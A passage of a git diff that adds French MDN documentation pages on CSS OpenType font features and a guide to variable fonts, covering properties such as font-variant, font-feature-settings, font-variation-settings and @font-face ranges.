+ <li><strong>Les fractions</strong> permettent d'améliorer la compréhension et la lecture de certains textes (des recettes par exemple).</li>
+ <li><strong>L'écriture des nombres</strong> au sein de paragraphes qui suivent la ligne de base du texte ou au contraire dont les jambages passent sous la ligne de base.</li>
+</ul>
+
+<p>Bien qu'aucune de ces caractéristiques ne soit critique pour l'utilisabilité d'un site, chacune d'elle peut rendre un site plus lisible voire raffiné</p>
+
+<blockquote>
+<p>Les caractéristiques OpenType ressemblent à des compartiments secrets : en les déverouillant, une police peut évoluer de façon subtile ou complète. Toutes les caractéristiques OpenType ne doivent pas être utilisées tout le temps mais certaines d'entre elles sont majeures pour obtenir une typographie de premier rang. <cite><em>Tim Brown, Directeur de la typographie chez Adobe</em>.</cite></p>
+</blockquote>
+
+<h3 id="Au-delà_du_style_le_contenu_même">Au-delà du style : le contenu même</h3>
+
+<p>Il existe certains cas (notamment avec {{cssxref("font-variant-east-asian")}}) où les caractéristiques OpenType sont directement liées à l'utilisation de formes différentes pour certains glyphes. Ces caractéristiques auront un impact sur la lisibilité mais aussi et surtout sur la signification du texte. Dans ces cas, les caractéristiques de police ne sont pas un outil de style mais font partie intégrante du contenu.</p>
+
+<h2 id="Les_caractéristiques">Les caractéristiques</h2>
+
+<p>Il existe une variété de caractéristiques. Nous les avons ici regroupées selon leurs attributs principaux et les options développées dans les spécifications du W3C.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Les exemples qui suivent illustrent certaines propriétés et des combinaisons d'exemple et sont accompagnés des équivalents utilisant la syntaxe de plus bas niveau. Il est possible que ces deux versions d'exemple ne correspondent pas exactement selon l'implémentation des navigateurs. Les polices utilisées ici sont Playfair Display, Source Serif Pro, IBM Plex Serif, Dancing Script et Kokoro (qui sont libres d'utilisation et disponibles via différents services tels que Google Fonts).</p>
+</div>
+
+<h3 id="Le_crénage_(kerning)_(cssxref(font-kerning))">Le crénage (<em>kerning</em>) ({{cssxref("font-kerning")}})</h3>
+
+<p>Le crénage correspond à l'espace entre les caractères pour certaines combinaisons de caractères. Cette caractéristique, comme recommandé par la spécification OpenType, est généralement activée par défaut. On notera également que la propriété {{cssxref("letter-spacing")}} permet d'imposer un crénage supplémentaire au texte.</p>
+
+<div>{{EmbedGHLiveSample("css-examples/font-features/font-kerning.html", '100%', 520)}}</div>
+
+<h3 id="Les_formes_alternatives_(cssxref(font-variant-alternates))">Les formes alternatives ({{cssxref("font-variant-alternates")}})</h3>
+
+<p>Les polices peuvent fournir différentes formes pour différents glyphes. Cette propriété permet d'activer un ensemble de formes alternatives ou une forme alternative spécifique selon la valeur utilisée. Dans l'exemple qui suit, on voit différentes formes d'utilisation des caractères alternatifs. Les polices qui possèdent des glyphes alternatifs peuvent les rendre disponibles sur la grille de caractères ou dans des ensembles stylistiques séparés voire pour des caractères individuels. Dans cet exemple, on utilise deux polices et la règle-@ {{cssxref("@font-feature-values")}}. Cette méthode permet de définir des raccourcis ou des options nommées qui peuvent ensuite être utilisée sur un ensemble de polices. Ainsi, on peut avoir une option appliquée à une police ou appliquée plus généralement.</p>
+
+<div>{{EmbedGHLiveSample("css-examples/font-features/font-variant-alternates.html", '100%', 800)}}</div>
+
+<div> </div>
+
+<div>Dans ce cas, <code>@stylistic(alternates)</code> affichera tous les caractères alternatifs pour chacune des polices. En appliquant uniquement ces règles au mot 'My', seul l'affichage de la lettre 'M' est modifié. Si on applique  <code>@styleset(alt-a)</code>, seule l'apparence de la lettre a minuscule changera.</div>
+
+<p>Vous pouvez modifier :</p>
+
+<pre class="brush: css">font-variant-alternates: styleset(alt-a);</pre>
+
+<p>en :</p>
+
+<pre class="brush: css">font-variant-alternates: styleset(alt-g);
+</pre>
+
+<p>et voir comment la lettre a retrouve sa forme normale et comment la lettre g est modifiée.</p>
+
+<h4 id="En_savoir_plus_sur_les_formes_alternatives">En savoir plus sur les formes alternatives</h4>
+
+<ul>
+ <li><a href="https://www.w3.org/TR/css-fonts-4/#propdef-font-variant-alternates">Lien vers la spécification de la propriété <code>font-variant-alternates</code></a></li>
+ <li>{{cssxref("font-variante-alternates")}}</li>
+</ul>
+
+<h3 id="Les_ligatures_(cssxref(font-variant-ligatures))">Les ligatures ({{cssxref("font-variant-ligatures")}})</h3>
+
+<p>Les ligatures sont des glyphes qui remplacent deux ou plusieurs glyphes afin de les représenter de façon plus harmonieuse (pour l'espacement et l'esthétique notamment). Certaines de ces ligatures sont fréquemment utilisées (œ) et d'autres sont plus spécialisées et moins usitées (on parle de « ligatures discrétionaires », de « ligatures historiques » ou encore d' « alternatifs contextuels »).</p>
+
+<p>Bien qu'elles soient plus fréquemment utilisées avec les polices d'écriture, dans l'exemple qui suit, on les utilise afin de créer des flèches :</p>
+
+<div>{{EmbedGHLiveSample("css-examples/font-features/font-variant-ligatures.html", '100%', 540)}}</div>
+
+<h3 id="Les_positions_(cssxref(font-variant-position))">Les positions ({{cssxref("font-variant-position")}})</h3>
+
+<p>Les variantes de positions permettent d'activer le support typographique des glyphes pour les exposants et les indices. Celles-ci sont utilisées dans le texte sans modifier la ligne de base ou l'interlignage (c'est un des avantages par rapport à l'utilisation des éléments HTML {{htmlelement("sub")}} et {{cssxref("sup")}}).</p>
+
+<div>{{EmbedGHLiveSample("css-examples/font-features/font-variant-position.html", '100%', 550)}}</div>
+
+<h3 id="Les_capitales_(cssxref(font-variant-caps))">Les capitales ({{cssxref("font-variant-caps")}})</h3>
+
+<p>Une utilisation fréquente des caractéristiques OpenType est l'activation de « vraies » <a href="https://fr.wikipedia.org/wiki/Petite_capitale">petites capitales</a> qui sont généralement utilisées pour les acronymes et les abréviations.</p>
+
+<div>{{EmbedGHLiveSample("css-examples/font-features/font-variant-caps.html", '100%', 620)}}</div>
+
+<h3 id="Les_chiffres_(cssxref(font-variant-numeric))">Les chiffres ({{cssxref("font-variant-numeric")}})</h3>
+
+<p>Il existe généralement différents types de chiffre dans les polices :</p>
+
+<ul>
+ <li>Les chiffres classiques (ou chiffres Didot) qui sont alignées sur la ligne de base du texte et qui ont la même hauteur que les majuscules</li>
+ <li><a href="https://fr.wikipedia.org/wiki/Chiffres_elz%C3%A9viriens">Les chiffres elzéviriens</a> qui ont des jambages et des hampes à la façon des autres lettres minuscules. Ces chiffres sont conçus pour être utilisés en incise et se « fondre » au sein des glyphes alentours, à la manières des petites capitales.</li>
+</ul>
+
+<p>On y retrouve également la notion d'espacement. L'espacement proportionnel est le réglage par défaut et l'espacement tabulaire permet d'avoir un espace identique entre chaque chiffre, quelle que soit la largeur du caractère. Ce dernier mode est notamment utile pour l'affichage de nombre dans des tableaux (où on peut souhaiter comparer des montants d'une ligne à l'autre).</p>
+
+<p>Deux types de fractions peuvent être prises en charge avec cette propriété :</p>
+
+<ul>
+ <li>Les fractions avec barre diagonale.</li>
+ <li>Les fractions empilées verticalement.</li>
+</ul>
+
+<p>Les nombres ordinaux peuvent également être pris en charge (« 1er », « 2e ») s'ils sont présents dans la police. De même on peut utiliser un zéro barré si celui-ci est disponible.</p>
+
+<h4 id="Chiffres_classiques_et_chiffres_elzéviriens">Chiffres classiques et chiffres elzéviriens</h4>
+
+<div>{{EmbedGHLiveSample("css-examples/font-features/font-variant-numeric.html", '100%', 560)}}</div>
+
+<h4 id="Fractions_nombres_ordinaux_et_zéro_barré">Fractions, nombres ordinaux et zéro barré</h4>
+
+<div>{{EmbedGHLiveSample("css-examples/font-features/font-variant-numeric-frac.html", '100%', 600)}}</div>
+
+<h3 id="Caractères_d'Asie_orientale_(cssxref(font-variant-east-asian))">Caractères d'Asie orientale ({{cssxref("font-variant-east-asian")}})</h3>
+
+<p>Cette caractéristique permet d'accéder à différentes formes alternatives de glyphes dans une police. L'exemple qui suit illustre une chaîne de glyphes où seul l'ensemble OpenType 'jis78' est activé. Vous pouvez décocher la case et voir alors d'autres caractères s'afficher.</p>
+
+<div>{{EmbedGHLiveSample("css-examples/font-features/font-variant-east-asian.html", '100%', 750)}}</div>
+
+<div class="note">
+<p><strong>Note :</strong> Ces glyphes ont été copiés à partir d'un exemple et le texte qu'ils constituent n'ont aucun sens particulier.</p>
+</div>
+
+<h3 id="Propriété_raccourcie_(Cssxref(font-variant))">Propriété raccourcie ({{Cssxref("font-variant")}})</h3>
+
+<p>La propriété raccourcie <code>font-variant</code> permet de définir l'ensemble des caractéristiques précédentes. Lorsqu'on utilise la valeur <code>normal</code>, toutes les caractéristiques sont réinitialisées et retrouvent leurs valeurs par défaut. En utilisant <code>none</code>,  <code>font-variant-ligatures</code> vaudra <code>none</code> et toutes les autres propriétés récupèreront leurs valeurs initiales (cela signifie entre autres que si le crénage est activé par défaut, il sera toujours activé, même lorsque <code>none</code> est fourni).</p>
+
+<div>{{EmbedGHLiveSample("css-examples/font-features/font-variant.html", '100%', 600)}}</div>
+
+<h2 id="Utiliser_font-feature-settings">Utiliser <code>font-feature-settings</code></h2>
+
+<p>La propriété {{cssxref("font-feature-settings")}} permet d'utiliser une syntaxe « bas niveau » qui permet un accès explicite à chaque caractéristique OpenType disponible. On dispose ainsi d'un contrôle accru mais on perd l'héritage et il faut tout redéclarer à chaque fois qu'on souhaite modifier une caractéristique (sauf à utiliser <a href="/en-US/docs/Web/CSS/Using_CSS_variables">des propriétés CSS personnalisées</a> afin de définir les valeurs). Aussi, mieux vaut utiliser les propriétés standards lorsque c'est possible.</p>
+
+<p>Il existe une myriade de caractéristiques possibles. Vous pouvez en voir quelques exemples ici et il existe plusieurs ressources pour en exploiter d'autres.</p>
+
+<p>La syntaxe générale suivra cette structure :</p>
+
+<pre class="brush: css">.small-caps {
+  font-feature-settings: "smcp", "c2sc";
+}
+</pre>
+
+<p>Selon la spécification, on peut fournir le code à quatre caractères de la caractéristique ou fournir le code suivi d'un 1 pour activer la fonctionnalité ou suivi d'un 0 pour la désactiver. Ainsi, si on dispose de caractéristiques liées à la ligatures et qui sont activées par défaut, on peut les désactiver de la façon suivante :</p>
+
+<pre class="brush: css">.no-ligatures {
+  font-feature-settings: "liga" 0, "dlig" 0;
+}</pre>
+
+<h4 class="brush: css" id="En_savoir_plus_sur_les_codes_des_caractéristiques_font-feature-settings">En savoir plus sur les codes des caractéristiques <code>font-feature-settings</code></h4>
+
+<ul>
+ <li class="brush: css"><a href="https://sparanoid.com/lab/opentype-features/">Une démonstration des caractéristiques OpenType</a></li>
+ <li><a href="https://en.wikipedia.org/wiki/List_of_typographic_features">La liste des caractéristiques OpenType sur Wikipédia</a></li>
+</ul>
+
+<h2 id="Utiliser_la_détection_de_fonctionnalités_CSS">Utiliser la détection de fonctionnalités CSS</h2>
+
+<p>Étant donné que toutes les propriétés ne sont pas implémentées de façon homogène, il est préférable d'utiliser la règle @ {{cssxref("@supports")}} pour vérifier quelles propriétés peuvent être utilisées correctement et s'en remettre à {{cssxref("font-feature-settings")}} si nécessaire.</p>
+
+<p>Ainsi, les petites capitales peuvent être activées de différentes façons mais si on veut s'assurer que la mise en forme fonctionne quelle que soit la capitalisation, il faudra 2 paramètres avec <code>font-feature-settings</code> et une seule valeur pour {{cssxref("font-variant-caps")}}.</p>
+
+<pre class="brush: css">.small-caps {
+   font-feature-settings: "smcp", "c2sc";
+}
+
+@supports (font-variant-caps: all-small-caps) {
+   .small-caps {
+       font-feature-settings: normal;
+       font-variant-caps: all-small-caps;
+   }
+}
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<h3 id="Démonstrations_de_caractéristiques_OpenType_en_CSS">Démonstrations de caractéristiques OpenType en CSS</h3>
+
+<ul>
+ <li><a href="https://sparanoid.com/lab/opentype-features/">Démonstration CSS complète des caractéristiques OpenType (en anglais)</a>
+
+  <ul>
+   <li>Note : la complétude invoquée dans le titre n'est pas garantie…</li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id="Outils_web_d'analyse_de_polices">Outils web d'analyse de polices</h3>
+
+<ul>
+ <li><a href="https://wakamaifondue.com">Wakamai Fondue (en anglais)</a></li>
+ <li><a href="https://axis-praxis.org">Axis Praxis (en anglais)</a></li>
+</ul>
+
+<h3 id="Spécifications_W3C">Spécifications W3C</h3>
+
+<ul>
+ <li><a href="https://drafts.csswg.org/css-fonts-3/#font-rend-props">Les propriétés relatives aux caractéristiques de police dans le module CSS Fonts de niveau 3 (en anglais)</a></li>
+ <li><a href="https://www.w3.org/TR/css-fonts-4/#propdef-font-variant-alternates"><code>font-variant-alternatives</code>, spécifiée dans le module CSS Fonts de niveau 4 (en anglais)</a></li>
+</ul>
+
+<h3 id="Autres_ressources">Autres ressources</h3>
+
+<ul>
+ <li><a href="https://helpx.adobe.com/fonts/using/use-open-type-features.html">Utiliser les caractéristiques OpenType (en anglais)</a>, écrit par Tim Brown</li>
+ <li><a href="https://helpx.adobe.com/fonts/using/open-type-syntax.html">La syntaxe Adobe pour les caractéristiques OpenType en CSS (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/css/css_fonts/guide_polices_variables/index.html b/files/fr/web/css/css_fonts/guide_polices_variables/index.html
new file mode 100644
index 0000000000..043902094e
--- /dev/null
+++ b/files/fr/web/css/css_fonts/guide_polices_variables/index.html
@@ -0,0 +1,265 @@
+---
+title: Guide des polices variables
+slug: Web/CSS/CSS_Fonts/Guide_polices_variables
+tags:
+  - CSS
+  - Fonts
+  - Guide
+  - Polices
+translation_of: Web/CSS/CSS_Fonts/Variable_Fonts_Guide
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary"><strong>Les polices variables</strong> sont une évolution de la spécification OpenType et qui permet d'activer différentes variations d'une police dans un seul fichier plutôt que d'avoir différents fichiers pour chaque taille, graisse ou style. En CSS, on peut accéder à l'ensemble des variations en utilisant une seule référence {{cssxref("@font-face")}}. Dans cet article, nous verrons tout ce qu'il faut savoir pour commencer à utiliser les polices variables.</p>
+
+<div class="warning">
+<p><strong>Attention !  </strong>Afin d'utiliser les polices variables, il faut s'assurer que son système d'exploitation est à jour. Pour les systèmes basés sur GNU/Linux, il faut la version la plus récente de Linux Freetype. Pour macOS, les versions antérieures à 10.13 ne prennent pas en charge les polices variables. Si votre système d'exploitation n'est pas à jour ou ne prend pas en charge les polices variables, vous ne pourrez pas en bénéficier sur le Web ou dans les outils de développement Firefox par exemple.</p>
+</div>
+
+<h2 id="Qu'est-ce_qu'une_police_variable">Qu'est-ce qu'une police variable ?</h2>
+
+<p>Pour mieux comprendre le fonctionnement des polices variables, revenons sur les polices « statiques » et comparons les deux systèmes.</p>
+
+<h3 id="Les_polices_standard_ou_polices_statiques">Les polices standard ou polices statiques</h3>
+
+<p>Auparavant, une police de caractères était représentées par différents fichiers pour les différentes fontes. Aussi, on avait par exemple différents fichiers pour 'Roboto Regular', 'Roboto Bold' et 'Roboto Bold Italic' et on pouvait avoir 20 à 30 fichiers distincts pour représenter l'intégralité d'une police.</p>
+
+<p>Avec un tel scénario et pour utiliser une police de façon classique sur un site, il fallait au moins quatre fichier pour les différents styles : normal, italique, gras et gras-italique. Si on souhaitait ajouter un autre niveau de graisse (par exemple une fonte plus légère pour les légendes), il fallait rajouter un fichier. Sur le réseau, cela se traduisait par d'autres requêtes HTTP et plus de données téléchargées (environ 20Ko pour chaque fichier).</p>
+
+<h3 id="Les_polices_variables">Les polices variables</h3>
+
+<p>Avec une police variable, toutes ces combinaisons de style et de graisse sont contenues dans un seul fichier. On a donc un fichier plus gros qu'un fichier de police classique mais dont la taille est inférieure ou proche de celle des 4 fichiers qu'on chargerait pour la police principale d'un site. L'avantage d'une police variable est qu'on peut accéder à l'intégralité des corps, graisses et italiques sans être plus contraint par ceux du ou des fichiers chargés séparément.</p>
+
+<p>Cela permet d'utiliser des techniques typographiques classiques pour avoir des niveaux de titre avec différents corps, d'utiliser une fonte plus étroite lorsqu'il y a plus de données à afficher, etc. Dans un magazine, par exemple, il n'est pas rare d'avoir un système typographique qui utilise 10 à 15 fontes qui sont autant de combinaisons de corps et de graisse.</p>
+
+<h4 id="Quelques_notes_à_propos_des_familles_de_polices_des_corps_et_des_variantes">Quelques notes à propos des familles de polices, des corps et des variantes</h4>
+
+<p>On a mentionné avant qu'on avait différents fichiers pour chaque graisse et italique et qu'on ne demandait pas au navigateur de synthétiser ces aspects. En effet, la plupart des polices ont des dessins spécifiques pour chaque graisse et chaque niveau d'italique (le a et le g minuscule sont souvent assez différents en italique par exemple). Afin de respecter ces spécificités et d'éviter les différences entre les implémentations des navigateurs, on préfèrera charger les fichiers correspondant à chaque graisse / italique lorsqu'on n'utilise pas de police variable.</p>
+
+<p>Vous pourrez aussi remarquer que certaines polices viennent avec deux fichiers : un contenant les caractères sans italique et leurs variations et un autre contenant les variations italiques. Cette méthode est parfois choisie afin de réduire la taille du fichier lorsqu'on n'a pas besoin des italiques. Dans tous les cas, il est toujours possible de les lier avec un nom {{cssxref("font-family")}} et d'appeler chaque style avec la valeur pertinente pour {{cssxref("font-style")}}.</p>
+
+<h2 id="L'axe_de_variation">L'axe de variation</h2>
+
+<p>Le concept clé des polices variables est celui d'<strong>axe de variation</strong> qui décrit l'intervalle autorisé pour faire varier un aspect donné d'une police. Ainsi, l'axe de la graisse décrit l'étendue entre les caractères les plus fins et les plus gras qui puissent être ; l'axe de la largeur parcourt l'étroitesse ou la largeur de la police ; l'axe italique décrit si des formes italiques sont présentes, etc. Un axe peut être un intervalle ou un choix binaire. Ainsi, la graisse pourra varier entre 1 et 999 tandis que l'italique pourrait être uniquement activable ou désactivable (1 ou 0 respectivement).</p>
+
+<p>Comme indiqué dans la spécification, deux types d'axe existent : <strong>les axes enregistrés</strong> et <strong>les axes spécifiques</strong> (<em>custom axes</em>) :</p>
+
+<ul>
+ <li>
+  <p>Les axes enregistrés sont ceux que l'on rencontre le plus souvent et qui ont donc été standardisés dans la spécification. À l'heure actuelle, il existe 5 axes enregistrés : le corps, la largeur, la pente, l'italique et la taille optique. Chacun de ces axes possède un attribut CSS correspondant.</p>
+ </li>
+ <li>
+  <p>Les axes spécifiques peuvent être n'importe quel axe défini par le concepteur de la police. Chaque axe doit simplement être défini par une étiquette avec quatre lettres qui permettront de l'identifier. Ces étiquettes pourront être utilisées dans le code CSS pour indiquer quel niveau de variation utiliser (cf. exemples ci-après).</p>
+ </li>
+</ul>
+
+<h3 id="Les_axes_enregistrés_et_les_attributs_CSS_existants">Les axes enregistrés et les attributs CSS existants</h3>
+
+<p>Dans cette section, nous verrons en détails les cinq axes enregistrés ainsi que des exemples CSS associés. Dans les cas où c'est possible, nous inclurons la syntaxe standard et la syntaxe de plus bas niveau qui utilise ({{cssxref("font-variation-settings")}}).</p>
+
+<p>Cette propriété fut le premier mécanisme implémenté pour tester les premières implémentations des polices variables et elle reste nécessaire pour utiliser de nouveaux axes ou des axes spécifiques au-delà des cinq axes enregistrés. Toutefois, lorsque c'est possible, cette syntaxe ne doit pas être utilisée si une propriété de plus haut niveau est disponible. Autrement dit, <code>font-variation-settings</code> doit uniquement être utilisée afin de définir des valeurs pour des axes qui ne seraient pas accessibles autrement.</p>
+
+<h4 id="Notes">Notes</h4>
+
+<ol>
+ <li>
+  <p>Les noms d'axes utilisés avec <code>font-variation-settings</code> sont sensibles à la casse. Les noms des axes enregistrés doivent être écrits en minuscules et les noms des axes spécifiques doivent être écrits en majuscules. Ainsi, dans ce cas :</p>
+
+  <pre class="brush: css">font-variation-settings: 'wght' 375, 'GRAD' 88;</pre>
+
+  <p><code>wght</code> correspondra à l'axe enregistré du même nom et <code>GRAD</code> à un axe spécifique.</p>
+ </li>
+ <li>
+  <p>Si on a défini des valeurs avec <code>font-variation-settings</code> et qu'on souhaite changer une de ces valeurs, il sera nécessaire de redéclarer l'ensemble des valeurs (de la même façon qu'on doit redéclarer l'ensemble des caractéristiques OpenType avec {{cssxref("font-feature-settings")}}). Il est possible de contourner cet écueil en utilisant <a href="/fr/docs/Web/CSS/Les_variables_CSS">des propriétés CSS personnalisées</a> pour les valeurs individuelles et en modifiant uniquement la valeur d'une des propriétés personnalisée (cf. l'exemple en fin d'article).</p>
+ </li>
+</ol>
+
+<h3 id="La_graisse_(weight)">La graisse (<em>weight</em>)</h3>
+
+<p>La graisse (représenté par l'étiquette <code>wght</code>) définit l'épaisseur des traits formants les caractères. En CSS, le descripteur {{cssxref("font-weight")}} a depuis longtemps permis d'utiliser différentes graisses avec des valeurs numériques comprises entre 100 et 900 (avec des incréments de 100) ou des mots-clés tels que <code>normal</code> ou <code>bold</code> qui étaient des alias pour une valeur numérique correspondante (400 et 700 ici). Ces valeurs sont toujours utilisables pour les polices statiques mais il est désormais possible d'utiliser n'importe quel entier entre 1 et 1000 dans le cas de polices variables.</p>
+
+<p>On notera qu'il n'est pas possible d'utiliser la déclaration <code>@font-face</code> afin qu'un point donné sur cet axe corresponde au mot-clé <code>bold</code> (ou tout autre mot-clé). Cela pourra généralement être résolu simplement mais nécessitera d'écrire plus de CSS :</p>
+
+<pre class="brush: css">font-weight: 375;
+
+font-variation-settings: 'wght' 375;</pre>
+
+<p>Vous pouvez éditer l'exemple CSS suivant pour voir l'effet sur la graisse de la police.</p>
+
+<div>{{EmbedGHLiveSample("css-examples/variable-fonts/weight.html", '100%', 520)}}</div>
+
+<h3 id="La_largeur_(width)">La largeur (<em>width</em>)</h3>
+
+<p>La largeur (indiquée par l'étiquette <code>wdth</code>) correspond à l'axe selon lequel les caractères sont plus ou moins étroits ou larges. En CSS, c'est le descripteur {{cssxref("font-stretch")}} qui peut être utilisé avec un pourcentage inférieur ou supérieur à 100% (la largeur « normale ») ou avec n'importe quel nombre positif. Si une valeur numérique est fournie et se situe en dehors de l'intervalle couvert par la police variable, le navigateur devra choisir la valeur la plus proche possible.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Lorsqu'on utilise la notation « bas niveau » avec <code>font-variation-settings</code>, on n'écrit pas le caractère %.</p>
+</div>
+
+<pre class="brush: css">font-stretch: 115%;
+
+font-variation-settings: 'wdth' 115;
+</pre>
+
+<p>L'exemple suivant peut être édité pour observer les modifications des valeurs sur cet axe.</p>
+
+<div>{{EmbedGHLiveSample("css-examples/variable-fonts/width.html", '100%', 520)}}</div>
+
+<h3 id="L'italique">L'italique</h3>
+
+<p>L'axe italique (<code>ital</code>) fonctionne différemment car il ne s'agit pas d'un intervalle mais d'une option activée ou désactivée : il n'y a pas de valeurs intermédiaires. Les caractères en italique sont la plupart du temps très différents de leur équivalent sans italique et passer d'un mode à l'autre entraîne généralement l'utilisation de glyphes différents. Attention à ne pas confondre l'italique et l'oblique (cf. l'axe de pente ci-après) : une police aura une forme italique ou une variabilité sur l'axe de pente mais rarement les deux.</p>
+
+<p>En CSS, l'italique est appliqué grâce à la propriété {{cssxref("font-style")}} (qui permet aussi d'appliquer l'oblique). On notera l'apparition de la propriété <code>font-synthesis: none;</code> qui empêche les navigateurs de synthétiser l'italique en penchant les caractères (on pourra aussi utiliser cette valeur de façon équivalente pour éviter de synthétiser la graisse).</p>
+
+<pre class="brush: css">font-style: italic;
+
+font-variation-settings: 'ital' 1;
+
+font-synthesis: none;</pre>
+
+<p>L'exemple suivant peut être édité pour observer les modifications des valeurs sur cet axe.</p>
+
+<div>{{EmbedGHLiveSample("css-examples/variable-fonts/italic.html", '100%', 520)}}</div>
+
+<h3 id="La_pente_(slant)">La pente (<em>slant</em>)</h3>
+
+<p>La pente (indiquée par l'étiquette <code>slnt</code>), également appelée « oblique », diffère de l'italique car elle applique une pente sur les caractères mais ne change aucun des glyphes. Cet axe est un intervalle numérique allant généralement de 0 (droit) à 20 degrés. Toutefois, les valeurs allant de -90 et à 90 (degrés) sont autorisées. C'est également le descripteur <code>font-style</code> qui peut être utilisé pour cet axe.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Le mot-clé <code>deg</code> ne doit pas être utilisé comme unité pour la notation avec <code>font-variation-settings</code>.</p>
+</div>
+
+<pre class="brush: css">font-style: oblique 14deg;
+
+font-variation-settings: 'slnt' 14;</pre>
+
+<p>L'exemple suivant peut être édité pour observer les modifications des valeurs sur cet axe.</p>
+
+<div>{{EmbedGHLiveSample("css-examples/variable-fonts/slant.html", '100%', 520)}}</div>
+
+<h3 id="La_taille_optique">La taille optique</h3>
+
+
+
+
+
+<p>La taille optique, indiquée par l'étiquette <code>opsz</code>, correspond à la variation de l'épaisseur des traits formants le caractère afin de s'assurer que celui-ci puisse être lu avec un petit corps et ainsi de garantir une bonne impression ou un bon affichage à l'écran.</p>
+
+<p>Ainsi, pour les petits corps, on pourra avoir des traits plus épais et pour des grands corps, on pourra avoir une variation d'épaisseur plus importante entre les différents traits du caractères pour développer correctement le dessin de la police.</p>
+
+<p>La plupart du temps, les valeurs liées à la taille optique sont appliquées automatiquement avec les valeurs correspondantes de <code>font-size</code> mais on peut tout à fait les manipuler avec la syntaxe de bas niveau <code>font-variation-settings</code>.</p>
+
+<p>Une nouvelle propriété CSS a été créée afin de prendre en charge cet axe avec une syntaxe haut niveau pour les polices variables : {{cssxref("font-optical-sizing")}}. Le descripteur <code>font-optical-sizing</code> permet uniquement d'utiliser les valeurs <code>auto</code> ou <code>none</code> et ainsi uniquement d'activer ou de désactiver le dimensionnement optique. Toutefois, avec <code>font-variation-settings: 'opsz' &lt;num&gt;</code>, on peut fournir une valeur numérique. Dans la plupart des cas, on utilisera la même valeur pour <code>font-size</code> et pour <code>opsz</code>. Il est ici permis d'utiliser une autre valeur spécifique afin d'améliorer la lisibilité ou d'obtenir un effet esthétique.</p>
+
+<pre class="brush: css">font-optical-sizing: auto;
+
+font-variation-settings: 'opsz' 36;</pre>
+
+<p>L'exemple suivant peut être édité pour observer les modifications des valeurs sur cet axe.</p>
+
+<div>{{EmbedGHLiveSample("css-examples/variable-fonts/optical-sizing.html", '100%', 1020)}}</div>
+
+<h3 id="Les_axes_spécifiques">Les axes spécifiques</h3>
+
+<p>Les axes spécifiques sont introduits spécifiquement par les concepteurs de polices et peuvent correspondre à n'importe quelle variation. Il est possible que certains axes spécifiques deviennent fréquemment utilisés voire finissent par être intégrés aux axes enregistrés mais seul l'avenir le dira avec certitude.</p>
+
+<h3 id="Le_grade">Le grade</h3>
+
+<p>Le grade est une variation qui consiste à épaissir certains des traits des glyphes sans agrandir la largeur totale du glyphe. En augmentant le grade, on a ainsi un caractère plus « dense ». Il ne faut pas confondre le corps et le grade : le premier augmente la taille générale, largeur incluse, des glyphes tandis que le second ne modifie pas l'espace physique occupé par le caractère. Le grade est un axe spécifique plutôt populaire car il permet de faire varier la densité apparente du texte sans modifier sa largeur et ainsi il évite de générer un décalage du texte.</p>
+
+<pre class="brush: css">font-variation-settings: 'GRAD' 88;</pre>
+
+<p>L'exemple suivant peut être édité pour observer les modifications des valeurs sur cet axe.</p>
+
+<div>{{EmbedGHLiveSample("css-examples/variable-fonts/grade.html", '100%', 520)}}</div>
+
+<h3 id="Utiliser_une_police_variable_les_changements_pour_font-face">Utiliser une police variable : les changements pour <code>@font-face</code></h3>
+
+<p>Pour charger une police variable, la syntaxe est proche de celle utilisée pour les polices statiques. Les quelques différences notables sont apportées par des ajouts à la syntaxe {{cssxref("@font-face")}} disponible dans la plupart des navigateurs modernes.</p>
+
+<p>La syntaxe de base est la même mais on peut indiquer la technologie utilisée pour la police ainsi que les intervalles autorisés pour les descripteurs <code>font-weight</code> et <code>font-stretch</code>.</p>
+
+<h4 id="Exemple_d'une_police_standard_réale_droite">Exemple d'une police standard réale droite :</h4>
+
+<pre class="brush: css">@font-face {
+ font-family: 'MyVariableFontName';
+ src: 'path/to/font/file/myvariablefont.woff2' format('woff2-variations');
+ font-weight: 125 950;
+ font-stretch: 75% 125%;
+ font-style: normal;
+}
+</pre>
+
+<h4 id="Exemple_d'une_police_avec_une_forme_droite_et_une_forme_italique">Exemple d'une police avec une forme droite et une forme italique :</h4>
+
+<pre class="brush: css">@font-face {
+ font-family: 'MyVariableFontName';
+ src: 'path/to/font/file/myvariablefont.woff2' format('woff2-variations');
+ font-weight: 125 950;
+ font-stretch: 75% 125%;
+ font-style: oblique 0deg 20deg;
+}</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Il n'existe pas de valeur spécifique pour la mesure du degré supérieur. Les valeurs fournies à <code>font-style</code> indiquent simplement qu'un axe est présent afin que le navigateur puisse afficher correctement les caractères droits ou en italique.</p>
+</div>
+
+<h4 id="Exemple_d'une_police_qui_ne_contient_que_des_italiques_et_aucun_caractère_droit">Exemple d'une police qui ne contient que des italiques et aucun caractère droit :</h4>
+
+<pre class="brush: css">@font-face {
+ font-family: 'MyVariableFontName';
+ src: 'path/to/font/file/myvariablefont.woff2' format('woff2-variations');
+ font-weight: 125 950;
+ font-stretch: 75% 125%;
+ font-style: italic;
+}</pre>
+
+<h4 id="Exemple_d'une_police_avec_un_axe_de_pente">Exemple d'une police avec un axe de pente :</h4>
+
+<pre class="brush: css">@font-face {
+ font-family: 'MyVariableFontName';
+ src: 'path/to/font/file/myvariablefont.woff2' format('woff2-variations');
+ font-weight: 125 950;
+ font-stretch: 75% 125%;
+ font-style: oblique 0deg 12deg;
+}</pre>
+
+<div class="note">
+<p><strong>Note :</strong> La syntaxe complète n'est pas implémentée par l'ensemble des navigateurs et il faudra donc tester avec précaution. Tous les navigateurs qui prennent en charge les polices variables sauront les afficher même si seul le format de fichier est indiqué (plutôt que le format complet : par exemple <code>woff2</code> à la place de <code>woff2-variations</code>), mais mieux vaut utiliser la syntaxe la plus précise si possible.</p>
+</div>
+
+<div class="note">
+<p><strong>Note :</strong> Fournir des valeurs d'intervalle pour <code>font-weight</code>, <code>font-stretch</code> et <code>font-style</code> empêchera le navigateur d'afficher des polices en dehors de ces intervalles en utilisant les attributs <code>font-weight</code> ou <code>font-stretch</code>. En revanche, cela ne bloquera pas la syntaxe de plus bas niveau avec <code>font-variation-settings</code> !</p>
+</div>
+
